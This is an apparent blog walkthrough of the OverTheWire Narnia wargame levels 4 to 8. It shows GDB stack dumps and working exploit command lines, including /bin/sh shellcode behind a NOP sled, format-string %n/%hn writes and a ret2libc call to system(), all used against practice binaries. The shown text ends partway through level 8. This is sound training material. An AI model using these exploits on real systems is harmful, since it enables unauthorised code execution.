0xffffd900: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd910: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd920: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd930: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd940: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd950: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd960: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd970: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd980: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd990: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd9a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd9b0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd9c0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd9d0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd9e0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd9f0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffda00: 0x00000000 0x00000000
So for this buffer overflow vulnerability I have 272 bytes for my payload with the last 4 bytes to make the total payload length of 276 for my RET address. Looking in the above debugging of the stack of the binary file I can see the payload is sitting between the memory address range of “0xffffd7dc-0xffffd8fc”, I chose the location of “0xffffd810” as my RET address as it was close to the start of my buffer that I sent.
root@Phlegethon:~/Study/overthewire/narnia# python -c'print(len("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"))'
25
So next I just used python to create my buffer string with the first 247 bytes of the buffer will by my NOP sled and then my 25 byte shellcode and then the 4 byte RET address which will overwrite the EIP register and jump into my NOP sled of my buffer.
narnia4@melinda:~$ /games/narnia/narnia4 $(python -c'print "\x90"*247 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x10\xd8\xff\xff"')
$ cat /etc/narnia_pass/narnia5
**********
Level 5
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv){
int i = 1;
char buffer[64];
snprintf(buffer, sizeof buffer, argv[1]);
buffer[sizeof (buffer) - 1] = 0;
printf("Change i's value from 1 -> 500. ");
if(i==500){
printf("GOOD\n");
system("/bin/sh");
}
printf("No way...let me give you a hint!\n");
printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
printf ("i = %d (%p)\n", i, &i);
return 0;
}
The challenge for this level is to change the integer “i” from 1 to 500, if so we get the shell. The snprintf() appears to be the vulnerable function in this challenge, which would mean that it is a format string vulnerability challenge. Having a look at the reference for the function, http://www.cplusplus.com/reference/cstdio/snprintf/, we can see that no format parameter was included verifying the suspicious of the snprintf()
. Another thing to note before continuing on is that the maximum size for our input for this challenge is 64 characters, if we include input of over 64 bytes in size as the argument passed to the binary, we will cause a Segmentation fault error. With this all worked out let’s begin working on a solution.
narnia5@melinda:/narnia$ ./narnia5 AAAA%x%x%x%x%x%x%x%x%x
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [AAAAf7e5efc380482610ca00001ffffd8f42fffffd73c41414141] (53)
i = 1 (0xffffd72c)
So I found that after a 4 byte string followed by 9 (%x)’s I was able to see the 4 bytes on stack, the %x format specifier is used to read bytes off the stack. The next step I took was to execute the binary inside of GDB, to begin with I disassembled the main function and put a breakpoint on the snprintf() and then ran the same input as before.
narnia5@melinda:/narnia$ gdb -q ./narnia5
Reading symbols from /games/narnia/narnia5...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
0x08048444 <+0>: push %ebp
0x08048445 <+1>: mov %esp,%ebp
0x08048447 <+3>: push %edi
0x08048448 <+4>: and $0xfffffff0,%esp
0x0804844b <+7>: sub $0x70,%esp
0x0804844e <+10>: movl $0x1,0x6c(%esp)
0x08048456 <+18>: mov 0xc(%ebp),%eax
0x08048459 <+21>: add $0x4,%eax
0x0804845c <+24>: mov (%eax),%eax
0x0804845e <+26>: mov %eax,0x8(%esp)
0x08048462 <+30>: movl $0x40,0x4(%esp)
0x0804846a <+38>: lea 0x2c(%esp),%eax
0x0804846e <+42>: mov %eax,(%esp)
0x08048471 <+45>: call 0x8048380 <snprintf@plt> // Argument input
0x08048476 <+50>: movb $0x0,0x6b(%esp)
0x0804847b <+55>: mov $0x80485f0,%eax
0x08048480 <+60>: mov %eax,(%esp)
0x08048483 <+63>: call 0x8048330 <printf@plt>
0x08048488 <+68>: mov 0x6c(%esp),%eax
0x0804848c <+72>: cmp $0x1f4,%eax // Compare (cmp) instruction to check the %eax register's value against 0x1fa (500).
0x08048491 <+77>: jne 0x80484ab <main+103> // If the values aren't equal then the JNE (Jump Not Equal) instruction is taken.
0x08048493 <+79>: movl $0x8048611,(%esp)
0x0804849a <+86>: call 0x8048340 <puts@plt>
0x0804849f <+91>: movl $0x8048616,(%esp)
0x080484a6 <+98>: call 0x8048350 <system@plt>
0x080484ab <+103>: movl $0x8048620,(%esp) // The JNE instruction jumps to this location.
0x080484b2 <+110>: call 0x8048340 <puts@plt>
0x080484b7 <+115>: lea 0x2c(%esp),%eax
0x080484bb <+119>: movl $0xffffffff,0x1c(%esp)
0x080484c3 <+127>: mov %eax,%edx
0x080484c5 <+129>: mov $0x0,%eax
0x080484ca <+134>: mov 0x1c(%esp),%ecx
0x080484ce <+138>: mov %edx,%edi
0x080484d0 <+140>: repnz scas %es:(%edi),%al
0x080484d2 <+142>: mov %ecx,%eax
0x080484d4 <+144>: not %eax
0x080484d6 <+146>: lea -0x1(%eax),%edx
0x080484d9 <+149>: mov $0x8048641,%eax
0x080484de <+154>: mov %edx,0x8(%esp)
0x080484e2 <+158>: lea 0x2c(%esp),%edx
0x080484e6 <+162>: mov %edx,0x4(%esp)
0x080484ea <+166>: mov %eax,(%esp)
0x080484ed <+169>: call 0x8048330 <printf@plt>
0x080484f2 <+174>: mov 0x6c(%esp),%edx
0x080484f6 <+178>: mov $0x8048655,%eax
0x080484fb <+183>: lea 0x6c(%esp),%ecx
0x080484ff <+187>: mov %ecx,0x8(%esp)
0x08048503 <+191>: mov %edx,0x4(%esp)
0x08048507 <+195>: mov %eax,(%esp)
0x0804850a <+198>: call 0x8048330 <printf@plt>
0x0804850f <+203>: mov $0x0,%eax
0x08048514 <+208>: mov -0x4(%ebp),%edi
0x08048517 <+211>: leave
0x08048518 <+212>: ret
End of assembler dump.
(gdb) br *0x08048471
Breakpoint 1 at 0x8048471
(gdb) r AAAA%x%x%x%x%x%x%x%x%x
Starting program: /games/narnia/narnia5 AAAA%x%x%x%x%x%x%x%x%x
Breakpoint 1, 0x08048471 in main ()
(gdb) x/50wx $esp
0xffffd6a0: 0xffffd6cc 0x00000040 0xffffd8f0 0xf7e5efc3
0xffffd6b0: 0x08048261 0x00000000 0x00ca0000 0x00000001
0xffffd6c0: 0xffffd8da 0x0000002f 0xffffd71c 0xf7fceff4
0xffffd6d0: 0x08048520 0x08049840 0x00000002 0x08048319
0xffffd6e0: 0xf7fcf3e4 0x00008000 0x08049840 0x08048541
0xffffd6f0: 0xffffffff 0xf7e5f116 0xf7fceff4 0xf7e5f1a5
0xffffd700: 0xf7feb660 0x00000000 0x08048529 0x00000001
0xffffd710: 0x08048520 0x00000000 0x00000000 0xf7e454b3
0xffffd720: 0x00000002 0xffffd7b4 0xffffd7c0 0xf7fd3000
0xffffd730: 0x00000000 0xffffd71c 0xffffd7c0 0x00000000
0xffffd740: 0x0804822c 0xf7fceff4 0x00000000 0x00000000
0xffffd750: 0x00000000 0x4e48b022 0x794e1432 0x00000000
0xffffd760: 0x00000000 0x00000000
(gdb) ni
0x08048476 in main ()
(gdb) x/50wx $esp
0xffffd6a0: 0xffffd6cc 0x00000040 0xffffd8f0 0xf7e5efc3
0xffffd6b0: 0x08048261 0x00000000 0x00ca0000 0x00000001
0xffffd6c0: 0xffffd8da 0x0000002f 0xffffd71c 0x41414141 <- The 4 A's
0xffffd6d0: 0x35653766 0x33636665 0x38343038 0x30313632
0xffffd6e0: 0x30306163 0x66313030 0x64666666 0x32616438
0xffffd6f0: 0x66666666 0x31376466 0x34313463 0x34313431
0xffffd700: 0xf7fe0031 0x00000000 0x08048529 0x00000001
0xffffd710: 0x08048520 0x00000000 0x00000000 0xf7e454b3
0xffffd720: 0x00000002 0xffffd7b4 0xffffd7c0 0xf7fd3000
0xffffd730: 0x00000000 0xffffd71c 0xffffd7c0 0x00000000
0xffffd740: 0x0804822c 0xf7fceff4 0x00000000 0x00000000
0xffffd750: 0x00000000 0x4e48b022 0x794e1432 0x00000000
0xffffd760: 0x00000000 0x00000000
After a moments thought it occurred to me that the 4 “\x41” were placed onto the stack at 0xffffd6cc, but the “1” value for the i integer is at 0xffffd70c.
(gdb) x/50wx $esp
0xffffd6a0: 0xffffd6cc 0x00000040 0xffffd8ee 0xf7e5efc3
0xffffd6b0: 0x08048261 0x00000000 0x00ca0000 0x00000001
0xffffd6c0: 0xffffd8d8 0x0000002f 0xffffd71c 0x41414141 <- The 4 A's
0xffffd6d0: 0x35653766 0x33636665 0x38343038 0x30313632
0xffffd6e0: 0x30306163 0x66313030 0x64666666 0x32386438
0xffffd6f0: 0x66666666 0x31376466 0x34313463 0x34313431
0xffffd700: 0xf7fe0031 0x00000000 0x08048529 0x00000001 <- the value for i
0xffffd710: 0x08048520 0x00000000 0x00000000 0xf7e454b3
0xffffd720: 0x00000002 0xffffd7b4 0xffffd7c0 0xf7fd3000
0xffffd730: 0x00000000 0xffffd71c 0xffffd7c0 0x00000000
0xffffd740: 0x0804822c 0xf7fceff4 0x00000000 0x00000000
0xffffd750: 0x00000000 0x1a239250 0x2d253640 0x00000000
0xffffd760: 0x00000000 0x00000000
(gdb) c
Continuing.
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [AAAAf7e5efc380482610ca00001ffffd8d82fffffd71c41414141] (53)
i = 1 (0xffffd70c)
[Inferior 1 (process 6017) exited normally]
This because of this, I need to work out how I can write to the stack is a specific location (0xffffd70c), so I started trying to use a similar method the one I used to solve level 9 of the SmashTheStack IO series of challenges. However this didn’t work out for me, a month of so after my last attempt to solve this challenge I was contacted by hakan, who helped me onto the right path needed to solve this challenge.
He pointed out that if 9 “%x” allows me to read the first 4 bytes back off the stack, 8 would allow me to write to the stack. This meant if I replaced one of the “%x” for a “%n” I would be able to change the value of i. This also meant I need to change the 4 “A”s to the memory address of where i is located.
narnia5@melinda:/narnia$ gdb -q ./narnia5
Reading symbols from /games/narnia/narnia5...(no debugging symbols found)...done.
(gdb) br *0x08048471
Breakpoint 1 at 0x8048471
(gdb) br *0x0804848c
Breakpoint 2 at 0x804848c
(gdb) r $(python -c 'print "\x0c\xd7\xff\xff"')%x%x%x%x%x%x%x%x%n
Starting program: /games/narnia/narnia5 $(python -c 'print "\x0c\xd7\xff\xff"')%x%x%x%x%x%x%x%x%n
Breakpoint 1, 0x08048471 in main ()
(gdb) x/50wx $esp
0xffffd6a0: 0xffffd6cc 0x00000040 0xffffd8f0 0xf7e5efc3
0xffffd6b0: 0x08048261 0x00000000 0x00ca0000 0x00000001
0xffffd6c0: 0xffffd8da 0x0000002f 0xffffd71c 0xf7fceff4
0xffffd6d0: 0x08048520 0x08049840 0x00000002 0x08048319
0xffffd6e0: 0xf7fcf3e4 0x00008000 0x08049840 0x08048541
0xffffd6f0: 0xffffffff 0xf7e5f116 0xf7fceff4 0xf7e5f1a5
0xffffd700: 0xf7feb660 0x00000000 0x08048529 0x00000001 <- Before the snprintf() is called
0xffffd710: 0x08048520 0x00000000 0x00000000 0xf7e454b3
0xffffd720: 0x00000002 0xffffd7b4 0xffffd7c0 0xf7fd3000
0xffffd730: 0x00000000 0xffffd71c 0xffffd7c0 0x00000000
0xffffd740: 0x0804822c 0xf7fceff4 0x00000000 0x00000000
0xffffd750: 0x00000000 0x9af939a3 0xadff9db3 0x00000000
0xffffd760: 0x00000000 0x00000000
(gdb) ni
0x08048476 in main ()
(gdb) x/50wx $esp
0xffffd6a0: 0xffffd6cc 0x00000040 0xffffd8f0 0xf7e5efc3
0xffffd6b0: 0x08048261 0x00000000 0x00ca0000 0x00000001
0xffffd6c0: 0xffffd8da 0x0000002f 0xffffd71c 0xffffd70c
0xffffd6d0: 0x35653766 0x33636665 0x38343038 0x30313632
0xffffd6e0: 0x30306163 0x66313030 0x64666666 0x32616438
0xffffd6f0: 0x66666666 0x31376466 0xf7fc0063 0xf7e5f1a5
0xffffd700: 0xf7feb660 0x00000000 0x08048529 0x0000002d <- After the snprintf() is called
0xffffd710: 0x08048520 0x00000000 0x00000000 0xf7e454b3
0xffffd720: 0x00000002 0xffffd7b4 0xffffd7c0 0xf7fd3000
0xffffd730: 0x00000000 0xffffd71c 0xffffd7c0 0x00000000
0xffffd740: 0x0804822c 0xf7fceff4 0x00000000 0x00000000
0xffffd750: 0x00000000 0x9af939a3 0xadff9db3 0x00000000
0xffffd760: 0x00000000 0x00000000
(gdb) c
Continuing.
Breakpoint 2, 0x0804848c in main ()
(gdb) c
Continuing.
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [
×ÿÿf7e5efc380482610ca00001ffffd8da2fffffd71c] (45)
i = 45 (0xffffd70c)
[Inferior 1 (process 30980) exited normally]
(gdb)
As you can see in the above output from GDB before and after the snprintf() is called, in the output after the call is made you can see that the value has been changed from a 0x01 to 0x2D (55). In previous outputs of viewing the ESP register in GDB, we can verify that this is because of the new argument passed to the binary that was used.
NOTE: Notice how $(python -c ‘print "\x0c\xd7\xff\xff"‘)
in the argument followed by “%x%x%x%x%x%x%x%x%n”. This is because we want to write the memory location as the first 4 bytes of the argument but if we pass the memory location to the binary as “\x0c\xd7\xff\xff” it would not understand this is 4 bytes and we would cause the application to crash as we would exceed the input buffer size.
So we are now able to modify the value of i from 1 to 45, but we need to change i to 500. So if we specify the value to write to the memory location by replacing the last “%x” again with value to write we can control the value written to i.
narnia5@melinda:/narnia$ ./narnia5 $(python -c 'print "\x2c\xd7\xff\xff"')%x%x%x%x%x%x%x%500u%n
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [,×ÿÿf7e5efc380482610ca00001ffffd8f12f ] (63)
i = 537 (0xffffd72c)
And so the final part is to do 500-37 to work out the correct value to write.
narnia5@melinda:/narnia$ ./narnia5 $(python -c 'print "\x2c\xd7\xff\xff"')%x%x%x%x%x%x%x%463u%n
Change i's value from 1 -> 500. GOOD
$ whoami
narnia6
$ cat /etc/narnia_pass/narnia6
**********
I would like to thank hakan for getting me back onto the correct path for solving this challenge.
Level 6
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
extern char **environ;
int main(int argc, char *argv[]){
char b1[8], b2[8];
int (*fp)(char *)=(int(*)(char *))&puts, i;
if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }
/* clear environ */
for(i=0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
/* clear argz */
for(i=3; argv[i] != NULL; i++)
memset(argv[i], '\0', strlen(argv[i]));
strcpy(b1,argv[1]);
strcpy(b2,argv[2]);
if(((unsigned long)fp & 0xff000000) == 0xff000000)
exit(-1);
fp(b1);
exit(1);
}
This was an interesting challenge, we have can see that there are two buffers, b1 and b2, which are both defined at 8 bytes in size. What causes this to be interesting is the fact two arguements are respectively entered into the buffers using the strcpy() function. The strcpy() is a function known for causing potential buffer overflows in programs and have been the focus of vulnerabilities in previous challenges. Let’s see if we can cause a crash in the application.
(gdb) r $(python -c'print("A"*8)') $(python -c'print("B"*8)')
Starting program: /games/narnia/narnia6 $(python -c'print("A"*8)') $(python -c'print("B"*8)')
Program received signal SIGSEGV, Segmentation fault.
0x08048304 in ?? ()
(gdb) x/50wx $esp
0xffffd6bc: 0x08048647 0xffffd6f0 0xffffd8fc 0x00000021
0xffffd6cc: 0x08048399 0xf7fcf3e4 0x00008000 0x08049910
0xffffd6dc: 0xffffffff 0xffffffff 0xf7e5f116 0x42424242
0xffffd6ec: 0x42424242 0x41414100 0x41414141 0x08048300 <- Gain control of EIP register here.
0xffffd6fc: 0x00000003 <- 0x08048660 0x00000000 0x00000000 -- The point the application crashes.
0xffffd70c: 0xf7e454b3 0x00000003 0xffffd7a4 0xffffd7b4
0xffffd71c: 0xf7fd3000 0x00000000 0xffffd71c 0xffffd7b4
0xffffd72c: 0x00000000 0x08048280 0xf7fceff4 0x00000000
0xffffd73c: 0x00000000 0x00000000 0x69ae1f2f 0x5ea8db3f
0xffffd74c: 0x00000000 0x00000000 0x00000000 0x00000003
0xffffd75c: 0x08048420 0x00000000 0xf7ff0a90 0xf7e453c9
0xffffd76c: 0xf7ffcff4 0x00000003 0x08048420 0x00000000
0xffffd77c: 0x08048441 0x080484d4
When I ran the application with the 2 arguements passed to the application of both 8 bytes in length caused a crash an application. In the above output from GDB I have pointed at the positions which the EIP register is overwritten and control is of execution can be gained. The next step I took was to confirm that I could overwrite the position on the stack would allow me to gain control of the EIP register.
(gdb) r $(python -c'print("A"*8 + "B"*4 + "C"*4)') $(python -c'print("D"*8)')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia6 $(python -c'print("A"*8 + "B"*4 + "C"*4)') $(python -c'print("D"*8)')
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/50wx $esp
0xffffd6bc: 0x08048647 0xffffd6f0 0xffffd8fc 0x00000021
0xffffd6cc: 0x08048399 0xf7fcf3e4 0x00008000 0x08049910
0xffffd6dc: 0xffffffff 0xffffffff 0xf7e5f116 0x44444444
0xffffd6ec: 0x44444444 0x41414100 0x41414141 0x42424242 <- 4 Bytes that overwrite the EIP register
0xffffd6fc: 0x43434343 0x08048600 0x00000000 0x00000000
0xffffd70c: 0xf7e454b3 0x00000003 0xffffd7a4 0xffffd7b4
0xffffd71c: 0xf7fd3000 0x00000000 0xffffd71c 0xffffd7b4
0xffffd72c: 0x00000000 0x08048280 0xf7fceff4 0x00000000
0xffffd73c: 0x00000000 0x00000000 0x2362dbf1 0x14641fe1
0xffffd74c: 0x00000000 0x00000000 0x00000000 0x00000003
0xffffd75c: 0x08048420 0x00000000 0xf7ff0a90 0xf7e453c9
0xffffd76c: 0xf7ffcff4 0x00000003 0x08048420 0x00000000
0xffffd77c: 0x08048441 0x080484d4
It was successfully confirmed that I could overwrite the EIP register. Now the question was how could I actually gain a shell for the next level. With control of the EIP register, I began thinking of how to gain full control. I couldn’t use placing the shellcode into an environment variable and then just overwritting the EIP register with the hardcoded location of the start of my shell. This was because part of the code has been written to clear the system’s environmental variables, just like in the Narnia 4 challenge. So because of this I also figured maybe the solution I used in Narnia 4 could be the solution for this level as well, where I pass the shellcode to the application as part of the arguement. So I decided I should test this theory out.
(gdb) r $(python -c'print("A"*8 + "\x90"*8 + "B"*4)') $(python -c'print("D"*8)')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia6 $(python -c'print("A"*8 + "\x90"*8 + "B"*4)') $(python -c'print("D"*8)')
Program received signal SIGSEGV, Segmentation fault.
0x90909090 in ?? ()
(gdb) x/50wx $esp
0xffffd6bc: 0x08048647 0xffffd6f0 0xffffd8fc 0x00000021
0xffffd6cc: 0x08048399 0xf7fcf3e4 0x00008000 0x08049910
0xffffd6dc: 0xffffffff 0xffffffff 0xf7e5f116 0x44444444
0xffffd6ec: 0x44444444 0x41414100 0x41414141 0x90909090
0xffffd6fc: 0x90909090 0x42424242 0x00000000 0x00000000
0xffffd70c: 0xf7e454b3 0x00000003 0xffffd7a4 0xffffd7b4
0xffffd71c: 0xf7fd3000 0x00000000 0xffffd71c 0xffffd7b4
0xffffd72c: 0x00000000 0x08048280 0xf7fceff4 0x00000000
0xffffd73c: 0x00000000 0x00000000 0x58c634fc 0x6fc0f0ec
0xffffd74c: 0x00000000 0x00000000 0x00000000 0x00000003
0xffffd75c: 0x08048420 0x00000000 0xf7ff0a90 0xf7e453c9
0xffffd76c: 0xf7ffcff4 0x00000003 0x08048420 0x00000000
0xffffd77c: 0x08048441 0x080484d4
(gdb) r $(python -c'print("A"*8 + "\xfc\xd6\xff\xff" + "\x90"*4)') $(python -c'print("D"*8)')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia6 $(python -c'print("A"*8 + "\xfc\xd6\xff\xff" + "\x90"*4)') $(python -c'print("D"*8)')
[Inferior 1 (process 3033) exited with code 0377]
So I can’t place my shellcode as part of the arguement but it appears I have to have a valid memory address overwrite the EIP register. So at this point in time I decided I needed to try and find a way to get a command (/bin/sh) that I pass to the application to be executed, and then I realised the stdlib.h is included in the binary. This is useful to us because after the binary begins to execute the system() function is loaded, since it is part of the stdlib.h.
http://www.cplusplus.com/reference/cstdlib/system/
So to find out the memory location of the system() function, I decided the quickest way would to debug the binary with GDB and placing a breakpoint on the main function and run the application. As soon as the breakpoint on main() is hit, the stdlib.h would’ve been loaded which means I would be able to put a breakpoint on the system() function and identify the memory address that way.
narnia6@melinda:/narnia$ gdb -q ./narnia6
Reading symbols from /games/narnia/narnia6...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x80484d8
(gdb) r a b
Starting program: /games/narnia/narnia6 a b
Breakpoint 1, 0x080484d8 in main ()
(gdb) break system
Breakpoint 2 at 0xf7e6b250
(gdb) r $(python -c'print("A"*8 + "\x50\xb2\xe6\xf7")') $(python -c'print("B"*8)')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia6 $(python -c'print("A"*8 + "\x50\xb2\xe6\xf7")') $(python -c'print("B"*8)')
Breakpoint 1, 0x080484d8 in main ()
(gdb) c
Continuing.
Breakpoint 2, 0xf7e6b250 in system () from /lib32/libc.so.6
As you can see in the above GDB debugging output, I was able to identify that the system() function is located in memory at 0xf7e6b250 and I was able to jump to gain control of the application and jump to that location as well. And with that all confirmed, we just need to add the command to be executed to the arguement strings and pass it to the binary.
narnia6@melinda:/narnia$ ./narnia6 $(python -c'print("A"*8 + "\x50\xb2\xe6\xf7")') $(python -c'print("B"*8 + "/bin/sh")')
$ whoami
narnia7
$ cat /etc/narnia_pass/narnia7
**********
Level 7
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int goodfunction();
int hackedfunction();
int vuln(const char *format){
char buffer[128];
int (*ptrf)();
memset(buffer, 0, sizeof(buffer));
printf("goodfunction() = %p\n", goodfunction);
printf("hackedfunction() = %p\n\n", hackedfunction);
ptrf = goodfunction;
printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);
printf("I guess you want to come to the hackedfunction...\n");
sleep(2);
ptrf = goodfunction;
snprintf(buffer, sizeof buffer, format);
return ptrf();
}
int main(int argc, char **argv){
if (argc <= 1){
fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
exit(-1);
}
exit(vuln(argv[1]));
}
int goodfunction(){
printf("Welcome to the goodfunction, but i said the Hackedfunction..\n");
fflush(stdout);
return 0;
}
int hackedfunction(){
printf("Way to go!!!!");
fflush(stdout);
system("/bin/sh");
return 0;
}
Briefly looking through the functions used in the above code, we can see that the snprintf() function is used again without format parameters. Which means this is another format string vulnerability challenge. After identifying what kind of challenge this would be, I started reading the entire code as a whole.
We can see in the main() an IF statement is used to the user they have to give 1 or more arguements to the binary, if the user doesn’t the application will close. If the user passes 1 or more arguements to the binary, the first arguement entered is passed to the vuln() function.
The vuln() creates a buffer of 128 bytes called buffer, also declares a function called “ptrf” which performs wildcard subsituation two previously declared functions (goodfunction()/hackedfunction()). Next in the vuln(), the buffer is filled with 0’s. Afterwards two printf() functions are used to print the location in memory of two functions (goodfunction()/hackedfunction()). Next the ptrf is set to equal goodfunction and then the current memory location of the ptrf() is printed to the screen. A message is printed to the screen and the program waits 2 seconds and then sets goodfunction() to equal ptrf again. The snprintf() is used to print the contents of the buffer. And finally the program returns to where ptrf() is pointing to, which at the current time would be goodfunction().
(gdb) r A
Starting program: /games/narnia/narnia7 A
goodfunction() = 0x804866f
hackedfunction() = 0x8048695
before : ptrf() = 0x804866f (0xffffd67c)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..
[Inferior 1 (process 4592) exited normally]
Obviously this challenge is overwrite the goodfunction() memory address in ptrf() with the memory location relevant to the hackedfunction(). This challenge actually gives us all the information we need to complete this challenge without us having to go looking for it. The information we need is the following:
- The memory address of the ptrf() function that calls the other functions we have to overwrite (0xffffd67c).
- The memory address of the function going to be called by the ptrf() (0x804866f).
- And the memory address of the function we need to overwrite to (0x8048695).
This challenge is similar to the level 9 IO Smash The Stack challenge, in which the goal was to overwrite a memory address with a memory address which would lead to the shellcode for the exploit. But unlike that challenge, we can’t use the DTOR method. This left me scratching my head, but then I decided to have a look at the books in my library and pulled out two books which covered format string vulnerabilities.
In the book, Gray Hat Hacking, The Ethical Hacker’s Handbook. 3rd Ed., in chapter 12 there is a section for “Writing to Arbitary Memory” in format string vulnerabilities. Reading this section, it states that the easiest way to write 4 bytes into memory is to split it into two equal parts, and use the parameters #$ and %hn into the right place in memory. This means I need to split the hackedfunction() memory address into the two haves.
- Two high-order bytes (HOB): 0x0804
- Two low-order bytes (LOB): 0x8695
This book provides a table (table 12-2) which contains the formula to construct the string to overwrite the memory address. Based on the calculations done using the table I was able to proceduce the following string. If you don’t have access to the book, I’m sure you would be able to find a copy to reference. But if you don’t, I’ve included part of the reference table which I used for this challenge.
When HOB < LOB
[addr + 2][addr]
%.[HOB - 8]x
%[offset]$hn
%.[LOB - HOB]x
%[offset + 1]$hn
The below section is the results from the calculation.
[addr + 2][addr] = \x7e\xd6\xff\xff\x7c\xd6\xff\xff
%.[HOB - 8]x = 0x0804 - 8 = 7FC (2044) = %.2044x
%[offset]$hn = %6\$hn
%.[LOB - HOB]x = 0x8695 - 0804 = 7E91 (32401) = %.32401x
%[offset + 1]$hn = %7\$hn
Thus the final string sent to the challenge would be.
$(python -c'print("\x7e\xd6\xff\xff\x7c\xd6\xff\xff")')%.2044x%6\$hn%.32401x%7\$hn
narnia7@melinda:/narnia$ ./narnia7 $(python -c'print("\x7e\xd6\xff\xff\x7c\xd6\xff\xff")')%.2044x%6\$hn%.32401x%7\$hn
goodfunction() = 0x804866f
hackedfunction() = 0x8048695
before : ptrf() = 0x804866f (0xffffd67c)
I guess you want to come to the hackedfunction...
Way to go!!!!$ whoami
narnia8
$ cat /etc/narnia_pass/narnia8
**********
References
- Gray Hat Hacking, The Ethical Hacker’s Handbook. 3rd Ed.
- Hacking, The Art of Exploitation. 2nd Ed.
Level 8
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gcc's variable reordering fucked things up
// to keep the level in its old style i am
// making "i" global unti i find a fix
// -morla
int i;
void func(char *b){
char *blah=b;
char bok[20];
//int i=0;
memset(bok, '\0', sizeof(bok));
for(i=0; blah[i] != '\0'; i++)
bok[i]=blah[i];
printf("%s\n",bok);
}
int main(int argc, char **argv){
if(argc > 1)
func(argv[1]);
else
printf("%s argument\n", argv[0]);
return 0;
}
With this challenge, we can see that the main() looks for a single argument to be passed to binary and if the user inputs nothing a message would be displayed informing of correct usage. When the user passes 1 more arguments to the binary, the first argument is passed to a custom function called func(). In the func(), we can see at the start a local variable called blah as well as a char array of 20 bytes named bok are declared. The local variable blah is also the address of b. The memset() is used to zero-out the memory in the bok array. Finally a For loop is used to write the contents of blah into the array of bok, but since there isn’t any size retriction on blah, there is a potential overflow here.
narnia8@melinda:/narnia$ ./narnia8 $(python -c'print("A"*19)')
AAAAAAAAAAAAAAAAAAA
narnia8@melinda:/narnia$ ./narnia8 $(python -c'print("A"*20)')
AAAAAAAAAAAAAAAAAAAAÿØÿÿÿÿÿÿñå÷8×ÿÿØÿÿ
(gdb) r $(python -c'print "\x41"*20')
Starting program: /games/narnia/narnia8 $(python -c'print "\x41"*20')
Breakpoint 1, 0x08048467 in func ()
(gdb) x/50wx $esp
0xffffd670: 0x08048580 0xffffd688 0x00000014 0xf7fceff4
0xffffd680: 0x080484b0 0x08049794 0x41414141 <-- 0x41414141 - 0xffffd688 - the start of the user supplied data
0xffffd690: 0x41414141 0x41414141 0x41414141 <-- 0xffffd8b4 <-- - 0xffffd69b - the end of the user supplied data
- 0xffffd69c - Points to the memory address of blah
0xffffd6a0: 0xffffffff 0xf7e5f116 0xffffd6c8 0x0804848d <-- RET address back to the main() [main+31]
0xffffd6b0: 0xffffd8b4 <-- 0x00000000 0x080484b9 0xf7fceff4 - 0xffffd69c - Points to the memory address of blah
-- omitted output --
0xffffd8a0: 0x73656d61 0x72616e2f 0x2f61696e 0x6e72616e
0xffffd8b0: 0x00386169 0x41414141 <-- 0x41414141 0x41414141 - The start of *blah
0xffffd8c0: 0x41414141 0x41414141 0x45485300 0x2f3d4c4c
0xffffd8d0: 0x2f6e6962 0x68736162 0x52455400 0x74783d4d
After looking at the stack above, I realised that the machine code displayed in the output must of been the memory addresses at the end of bok. With this thought in mind, I decided to confirm this by running the binary agin with the output being dumped into the a file and then using the “xxd” command I looked at the dump file.
narnia8@melinda:/tmp/dump$ /narnia/narnia8 $(python -c'print "\x41"*20') >> output
narnia8@melinda:/tmp/dump$ xxd output
0000000: 2f6e 6172 6e69 612f 6e61 726e 6961 3820 /narnia/narnia8
0000010: 6172 6775 6d65 6e74 0a41 4141 4141 4141 argument.AAAAAAA
0000020: 4141 4141 4141 4141 4141 4141 41bb d8ff AAAAAAAAAAAAA...
0000030: ffff ffff ff16 f1e5 f7e8 d6ff ff8d 8404 ................
0000040: 08bb d8ff ff0a ......
